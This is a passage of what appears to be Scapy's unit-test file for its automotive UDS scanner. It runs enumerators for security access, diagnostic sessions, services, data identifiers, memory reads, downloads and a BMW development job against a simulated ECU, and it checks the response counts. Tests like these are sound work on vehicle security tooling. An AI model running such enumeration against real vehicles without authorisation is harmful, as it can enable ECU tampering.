received 2 times" in result = Simulate ECU and run Scanner with software resert responses = ([EcuResponse(None, [UDS()/UDS_DSCPR(b"\x01")])] + mEcu.supported_responses) scanner = executeScannerInVirtualEnvironment( responses, [UDS_SA_XOR_Enumerator, UDS_DSCEnumerator, UDS_ServiceEnumerator], software_reset=True, UDS_DSCEnumerator_kwargs={"scan_range": range(5), "delay_state_change": 0, "overwrite_timeout": False}, UDS_SA_XOR_Enumerator_kwargs={"scan_range": range(5)}, UDS_ServiceEnumerator_kwargs={"scan_range": [0x10, 0x11, 0x14, 0x19, 0x22, 0x23, 0x24, 0x27, 0x28, 0x29, 0x2A, 0x2C, 0x2E, 0x2F, 0x31, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3D, 0x3E, 0x83, 0x84, 0x85, 0x87], "request_length": 1}) scanner.show_testcases() scanner.show_testcases_status() assert len(scanner.state_paths) == 6 assert scanner.scan_completed assert scanner.progress() > 0.95 assert EcuState(session=1) in scanner.final_states assert EcuState(session=2, tp=1) in scanner.final_states assert EcuState(session=1, tp=1) in scanner.final_states assert EcuState(session=3, tp=1) in scanner.final_states assert EcuState(session=2, tp=1, security_level=2) in scanner.final_states assert EcuState(session=3, tp=1, security_level=2) in scanner.final_states #################### UDS_SA_XOR_Enumerator ################ tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 24 assert len(tc.results_with_positive_response) >= 6 assert len(tc.scanned_states) == 6 result = tc.show(dump=True) assert "serviceNotSupportedInActiveSession received 5 times" in result assert "incorrectMessageLengthOrInvalidFormat received 14 times" in result ################# UDS_DSCEnumerator ##################### tc = scanner.configuration.test_cases[1] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 17 assert len(tc.results_with_positive_response) == 13 assert len(tc.scanned_states) == 6 result = tc.show(dump=True) assert "incorrectMessageLengthOrInvalidFormat received 14 times" in result ###################### UDS_ServiceEnumerator ################### tc = scanner.configuration.test_cases[2] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 156 assert len(tc.results_with_positive_response) == 0 assert len(tc.scanned_states) == 6 result = tc.show(dump=True) assert "incorrectMessageLengthOrInvalidFormat received 34 times" in result assert "serviceNotSupported received 75 times" in result assert "serviceNotSupportedInActiveSession received 19 times" in result assert "securityAccessDenied received 2 times" in result = Simulate ECU and run Scanner with software resert 2 responses = ([EcuResponse(None, [UDS()/UDS_ERPR(b"\x01")])] + mEcu.supported_responses) scanner = executeScannerInVirtualEnvironment( responses, [UDS_SA_XOR_Enumerator, UDS_DSCEnumerator, UDS_ServiceEnumerator], software_reset=True, UDS_DSCEnumerator_kwargs={"scan_range": range(5), "delay_state_change": 0, "overwrite_timeout": False}, UDS_SA_XOR_Enumerator_kwargs={"scan_range": range(5)}, UDS_ServiceEnumerator_kwargs={"scan_range": [0x10, 0x11, 0x14, 0x19, 0x22, 0x23, 0x24, 0x27, 0x28, 0x29, 0x2A, 0x2C, 0x2E, 0x2F, 0x31, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3D, 0x3E, 0x83, 0x84, 0x85, 0x87], "request_length": 1}) scanner.show_testcases() scanner.show_testcases_status() assert len(scanner.state_paths) == 5 assert scanner.scan_completed assert scanner.progress() > 0.95 assert EcuState(session=1) in scanner.final_states assert EcuState(session=2, tp=1) in scanner.final_states assert EcuState(session=3, tp=1) in scanner.final_states assert EcuState(session=2, tp=1, security_level=2) in scanner.final_states assert EcuState(session=3, tp=1, security_level=2) in scanner.final_states #################### UDS_SA_XOR_Enumerator ################ tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 19 assert len(tc.results_with_positive_response) >= 6 assert len(tc.scanned_states) == 5 result = tc.show(dump=True) assert "serviceNotSupportedInActiveSession received 5 times" in result assert "incorrectMessageLengthOrInvalidFormat received 14 times" in result ################# UDS_DSCEnumerator ##################### tc = scanner.configuration.test_cases[1] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 20 assert len(tc.results_with_positive_response) == 5 assert len(tc.scanned_states) == 5 result = tc.show(dump=True) assert "incorrectMessageLengthOrInvalidFormat received 20 times" in result ###################### UDS_ServiceEnumerator ################### tc = scanner.configuration.test_cases[2] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 130 assert len(tc.results_with_positive_response) == 0 assert len(tc.scanned_states) == 5 result = tc.show(dump=True) assert "incorrectMessageLengthOrInvalidFormat received 34 times" in result assert "serviceNotSupported received 75 times" in result assert "serviceNotSupportedInActiveSession received 19 times" in result assert "securityAccessDenied received 2 times" in result = UDS_ServiceEnumerator def req_handler(resp, req): if req.service != 0x22: return False if len(req) == 1: resp.negativeResponseCode="generalReject" return True if len(req) == 2: resp.negativeResponseCode="incorrectMessageLengthOrInvalidFormat" return True if len(req) == 3: resp.negativeResponseCode="requestOutOfRange" return True return False resps = [EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="ReadDataByIdentifier")], req_handler)] es = [UDS_ServiceEnumerator] debug_dissector_backup = conf.debug_dissector # This Enumerator is sending corrupted Packets, therefore we need to disable the debug_dissector conf.debug_dissector = False scanner = executeScannerInVirtualEnvironment( resps, es, UDS_ServiceEnumerator_kwargs={"request_length": 3}, unstable_socket=False) conf.debug_dissector = debug_dissector_backup assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() tc.show() assert len(tc.results_with_negative_response) == 128 * 3 assert len(tc.results_with_positive_response) == 0 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "incorrectMessageLengthOrInvalidFormat" in result assert "requestOutOfRange" in result = UDS_RDBIEnumerator resps = [EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b"beef2")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=3)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0xff)/Raw(b"beefff")]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="ReadDataByIdentifier")])] es = [UDS_RDBIEnumerator] scanner = executeScannerInVirtualEnvironment( resps, es, UDS_RDBIEnumerator_kwargs={"scan_range": range(0x100)}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "asdfbeef1" in result assert "beef2" in result assert "beef3" in result assert "beefff" in result assert "subFunctionNotSupported received" in result ids = [t.req.identifiers[0] for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids = UDS_RDBISelectiveEnumerator ~ not_pypy resps = [EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x101)/Raw(b"asdfbeef1")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x102)/Raw(b"beef2")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x103)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x104)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x105)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x106)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x107)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x108)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x109)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x110)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x111)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x112)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x113)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x114)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x115)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x116)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x117)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x118)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x119)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x120)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x121)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x122)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x123)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x124)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x125)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x126)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x127)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x128)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x129)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x130)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x131)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x132)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x133)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x134)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x135)/Raw(b"beef35")]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="ReadDataByIdentifier")])] es = [UDS_RDBISelectiveEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es, UDS_RDBIRandomEnumerator_kwargs={"probe_start": 0, "probe_end": 0x500}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.stages[0][0] tc.show() assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) > 100 assert len(tc.results_with_positive_response) >= 1 assert len(tc.scanned_states) == 1 assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.stages[0][1] tc.show() assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 29 assert len(tc.results_with_positive_response) == 35 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "asdfbeef1" in result assert "beef2" in result assert "beef3" in result assert "beef35" in result assert "subFunctionNotSupported received" in result ids = [t.req.identifiers[0] for t in tc.results_with_positive_response] assert 0x101 in ids assert 0x102 in ids assert 0x103 in ids assert 0x135 in ids = UDS_WDBIEnumerator def wdbi_handler(resp, req): if req.service != 0x2E: return False assert req.dataIdentifier in [1, 2, 3, 0xff] resp.dataIdentifier = req.dataIdentifier if req.dataIdentifier == 1: assert req.load == b'asdfbeef1' return True if req.dataIdentifier == 2: assert req.load == b'beef2' return True if req.dataIdentifier == 3: assert req.load == b"beef3" return True if req.dataIdentifier == 0xff: assert req.load == b"beefff" return True return False resps = [EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b"beef2")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=3)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0xff)/Raw(b"beefff")]), EcuResponse(None, [UDS()/UDS_WDBIPR()], answers=wdbi_handler), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="ReadDataByIdentifier")])] es = [UDS_WDBISelectiveEnumerator()] scanner = executeScannerInVirtualEnvironment( resps, es, UDS_RDBIEnumerator_kwargs={"scan_range": range(0x100)}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.stages[0][0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "asdfbeef1" in result assert "beef2" in result assert "beef3" in result assert "beefff" in result assert "subFunctionNotSupported received" in result ids = [t.req.identifiers[0] for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids ######################### WDBI ############################# tc = scanner.configuration.stages[0][1] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) ids = [t.req.dataIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids = UDS_WDBIEnumerator 2 def wdbi_handler(resp, req): if req.service != 0x2E: return False assert req.dataIdentifier in [1, 2, 3, 0xff] resp.dataIdentifier = req.dataIdentifier if req.dataIdentifier == 1: assert req.load == b'asdfbeef1' return True if req.dataIdentifier == 2: assert req.load == b'beef2' return True if req.dataIdentifier == 3: assert req.load == b"beef3" return True if req.dataIdentifier == 0xff: assert req.load == b"beefff" return True return False resps = [EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b"beef2")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=3)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0xff)/Raw(b"beefff")]), EcuResponse(None, [UDS()/UDS_WDBIPR()], answers=wdbi_handler), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="ReadDataByIdentifier")])] es = [UDS_WDBISelectiveEnumerator] scanner = executeScannerInVirtualEnvironment( resps, es, UDS_RDBIEnumerator_kwargs={"scan_range": range(0x100)}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0][0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "asdfbeef1" in result assert "beef2" in result assert "beef3" in result assert "beefff" in result assert "subFunctionNotSupported received" in result ids = [t.req.identifiers[0] for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids ######################### WDBI ############################# tc = scanner.configuration.test_cases[0][1] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) ids = [t.req.dataIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids = UDS_TPEnumerator resps = [EcuResponse(None, [UDS()/UDS_TPPR()]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="serviceNotSupported", requestServiceId="TesterPresent")])] es = [UDS_TPEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0 assert len(tc.results_with_positive_response) == 2 assert len(tc.scanned_states) == 2 assert tc.show(dump=True) = UDS_EREnumerator resps = [EcuResponse(None, [UDS()/UDS_ERPR(resetType=1)]), EcuResponse(None, [UDS()/UDS_ERPR(resetType=3)]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="ECUReset")])] es = [UDS_EREnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 2 assert len(tc.results_with_positive_response) == 2 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "hardReset" in result assert "softReset" in result assert "subFunctionNotSupported received" in result ids = [t.req.resetType for t in tc.results_with_positive_response] assert 1 in ids assert 3 in ids = UDS_CCEnumerator resps = [EcuResponse(None, [UDS()/UDS_CCPR(controlType=1)]), EcuResponse(None, [UDS()/UDS_CCPR(controlType=3)]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="CommunicationControl")])] es = [UDS_CCEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es, inter=0.001) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 2 assert len(tc.results_with_positive_response) == 2 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "enableRxAndDisableTx" in result assert "disableRxAndTx" in result assert "subFunctionNotSupported received" in result ids = [t.req.controlType for t in tc.results_with_positive_response] assert 1 in ids assert 3 in ids = UDS_RDBPIEnumerator UDS_RDBPI.periodicDataIdentifiers[1] = "identifierElectric" UDS_RDBPI.periodicDataIdentifiers[3] = "identifierGas" resps = [EcuResponse(None, [UDS()/UDS_RDBPIPR(periodicDataIdentifier=1, dataRecord=b'electric')]), EcuResponse(None, [UDS()/UDS_RDBPIPR(periodicDataIdentifier=3, dataRecord=b'gas')]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="ReadDataPeriodicIdentifier")])] es = [UDS_RDBPIEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 2 assert len(tc.results_with_positive_response) == 2 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "electric" in result assert "gas" in result assert "0x01 identifierElectric" in result assert "0x03 identifierGas" in result assert "subFunctionNotSupported received" in result ids = [t.req.periodicDataIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 3 in ids = UDS_RCEnumerator resps = [EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=1, routineIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=2, routineIdentifier=2)/Raw(b"beef2")]), EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=3, routineIdentifier=3)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=1, routineIdentifier=0x10)/Raw(b"beefff")]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="RoutineControl")])] es = [UDS_RCEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es, UDS_RCEnumerator_kwargs={"scan_range": range(0x11)}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0x11 * 3 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "subFunctionNotSupported received" in result ids = [t.req.routineIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0x10 in ids = UDS_RCSelectiveEnumerator resps = [EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=1, routineIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=2, routineIdentifier=1)/Raw(b"beef2")]), EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=3, routineIdentifier=1)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=1, routineIdentifier=0x10)/Raw(b"beefff")]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="RoutineControl")])] es = [UDS_RCSelectiveEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es, UDS_RCStartEnumerator_kwargs={"scan_range": range(0x11)}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.stages[0][0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0x11 - 2 assert len(tc.results_with_positive_response) == 2 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "subFunctionNotSupported received" in result ids = [t.req.routineIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 0x10 in ids tc = scanner.configuration.stages[0][1] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 538 assert len(tc.results_with_positive_response) == 2 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "subFunctionNotSupported received" in result ids = [t.req.routineIdentifier for t in tc.results_with_positive_response] assert 1 in ids = UDS_IOCBIEnumerator resps = [EcuResponse(None, [UDS()/UDS_IOCBIPR(dataIdentifier=1)/Raw(b"asdfbeef1")]), EcuResponse(None, [UDS()/UDS_IOCBIPR(dataIdentifier=2)/Raw(b"beef2")]), EcuResponse(None, [UDS()/UDS_IOCBIPR(dataIdentifier=3)/Raw(b"beef3")]), EcuResponse(None, [UDS()/UDS_IOCBIPR(dataIdentifier=0xff)/Raw(b"beefff")]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="InputOutputControlByIdentifier")])] es = [UDS_IOCBIEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es, UDS_IOCBIEnumerator_kwargs={"scan_range": range(0x100)}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0x100 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "asdfbeef1" in result assert "beef2" in result assert "beef3" in result assert "beefff" in result assert "subFunctionNotSupported received" in result ids = [t.req.dataIdentifier for t in tc.results_with_positive_response] assert 1 in ids assert 2 in ids assert 3 in ids assert 0xff in ids = UDS_RDEnumerator memory = dict() for addr in itertools.chain(range(0x1f00), range(0xd000, 0xfff2), range(0xa000, 0xcf00), range(0x2000, 0x5f00)): memory[addr] = addr & 0xff def answers_rd(resp, req): global memory if req.service != 0x34: return False if req.memorySizeLen in [1, 3, 4]: return False if req.memoryAddressLen in [1, 3, 4]: return False addr = getattr(req, "memoryAddress%d" % req.memoryAddressLen) if addr not in memory.keys(): return False resp.memorySizeLen = req.memorySizeLen return True resps = [EcuResponse(None, [UDS()/UDS_RDPR()], answers=answers_rd), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="requestOutOfRange", requestServiceId="RequestDownload")])] ####################################################### scanner = executeScannerInVirtualEnvironment( resps, [UDS_RDEnumerator], unstable_socket=False, UDS_RDEnumerator_kwargs={"unittest": True}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc1 = scanner.configuration.test_cases[0] assert len(tc1.results_without_response) < 10 if len(tc1.results_without_response): tc1.show() assert len(tc1.results_with_negative_response) > 400 assert len(tc1.results_with_positive_response) > 40 assert len(tc1.scanned_states) == 1 result = tc1.show(dump=True) assert "requestOutOfRange received " in result = UDS_RMBARandomEnumerator pkt = UDS_RMBARandomEnumerator._random_memory_addr_pkt(4, 4, 10) assert pkt.memorySizeLen == 4 assert pkt.memoryAddressLen == 4 assert pkt.memorySize4 == 10 assert pkt.memoryAddress4 is not None pkt = UDS_RMBARandomEnumerator._random_memory_addr_pkt() assert pkt.memorySizeLen in [1, 2, 3, 4] assert pkt.memoryAddressLen in [1, 2, 3, 4] pkt2 = UDS_RMBARandomEnumerator._random_memory_addr_pkt() assert pkt != pkt2 = UDS_RMBAEnumerator ~ linux not_pypy memory = dict() mem_areas = [(0x100, 0x1f00), (0xd000, 0xff00), (0xa000, 0xc000), (0x3000, 0x5f00)] mem_ranges = [range(s, e) for s, e in mem_areas] mem_inner_borders = [s for s, _ in mem_areas] mem_inner_borders += [e - 1 for _, e in mem_areas] mem_outer_borders = [s - 1 for s, _ in mem_areas] mem_outer_borders += [e for _, e in mem_areas] mem_random_test_points = [] for _ in range(100): mem_random_test_points += [random.choice(list(itertools.chain(*mem_ranges)))] for addr in itertools.chain(*mem_ranges): memory[addr] = addr & 0xff def answers_rmba(resp, req): global memory if req.service != 0x23: return False if req.memorySizeLen in [1, 3, 4]: return False if req.memoryAddressLen in [1, 3, 4]: return False addr = getattr(req, "memoryAddress%d" % req.memoryAddressLen) if addr not in memory.keys(): return False out_mem = list() size = getattr(req, "memorySize%d" % req.memorySizeLen) for i in range(addr, addr + size): try: out_mem.append(memory[i]) except KeyError: pass resp.dataRecord = bytes(out_mem) return True resps = [EcuResponse(None, [UDS()/UDS_RMBAPR(dataRecord=b'')], answers=answers_rmba), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="requestOutOfRange", requestServiceId="ReadMemoryByAddress")])] ####################################################### scanner = executeScannerInVirtualEnvironment( resps, [UDS_RMBAEnumerator], unstable_socket=False, UDS_RMBARandomEnumerator_kwargs={"unittest": True}) assert scanner.scan_completed tc1 = scanner.configuration.stages[0][1] assert len(tc1.results_without_response) < 30 if len(tc1.results_without_response): tc1.show() assert len(tc1.results_with_negative_response) > 10 assert len(tc1.results_with_positive_response) > 300 assert len(tc1.scanned_states) == 1 result = tc1.show(dump=True) assert "requestOutOfRange received " in result ############################################################ addrs = tc1._get_memory_addresses_from_results(tc1.results_with_positive_response) print(float([tp in addrs for tp in mem_inner_borders].count(True)) / len(mem_inner_borders)) assert float([tp in addrs for tp in mem_inner_borders].count(True)) / len(mem_inner_borders) > 0.8 print(float([tp in addrs for tp in mem_random_test_points].count(True)) / len(mem_random_test_points)) assert float([tp in addrs for tp in mem_random_test_points].count(True)) / len(mem_random_test_points) > 0.8 print(float([tp not in addrs for tp in mem_outer_borders].count(True)) / len(mem_outer_borders)) assert float([tp not in addrs for tp in mem_outer_borders].count(True)) / len(mem_outer_borders) > 0.7 = UDS_TDEnumerator resps = [EcuResponse(None, [UDS()/UDS_TDPR(blockSequenceCounter=1)]), EcuResponse(None, [UDS()/UDS_TDPR(blockSequenceCounter=3)]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="TransferData")])] es = [UDS_TDEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 256 - 2 assert len(tc.results_with_positive_response) == 2 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "subFunctionNotSupported received" in result ids = [t.req.blockSequenceCounter for t in tc.results_with_positive_response] assert 1 in ids assert 3 in ids = BMW_DevJobEnumerator load_contrib("automotive.bmw.definitions") load_contrib("automotive.bmw.enumerator") resps = [EcuResponse(None, [UDS()/DEV_JOB_PR(identifier=0xff00)/Raw(b"asdfbeef1")]), EcuResponse(None, [UDS()/DEV_JOB_PR(identifier=0xff02)/Raw(b"beef2")]), EcuResponse(None, [UDS()/DEV_JOB_PR(identifier=0xff03)/Raw(b"beef3")]), EcuResponse(None, [UDS()/DEV_JOB_PR(identifier=0xffff)/Raw(b"beefff")]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="DevelopmentJob")])] es = [BMW_DevJobEnumerator] scanner = executeScannerInVirtualEnvironment(resps, es, BMW_DevJobEnumerator_kwargs={"scan_range": range(0xFF00, 0x10000)}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 0x100 - 4 assert len(tc.results_with_positive_response) == 4 assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "ReadTransportMessageStatus" in result assert "65282" in result assert "65283" in result assert "ReadMemory" in result assert "subFunctionNotSupported received" in result assert "PR: Supported" in result ids = [t.req.identifier for t in tc.results_with_positive_response] assert 0xff00 in ids assert 0xff02 in ids assert 0xff03 in ids assert 0xffff in ids = UDS_ServiceEnumerator weird issue resps = [EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=0x13, requestServiceId=0x40)]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", 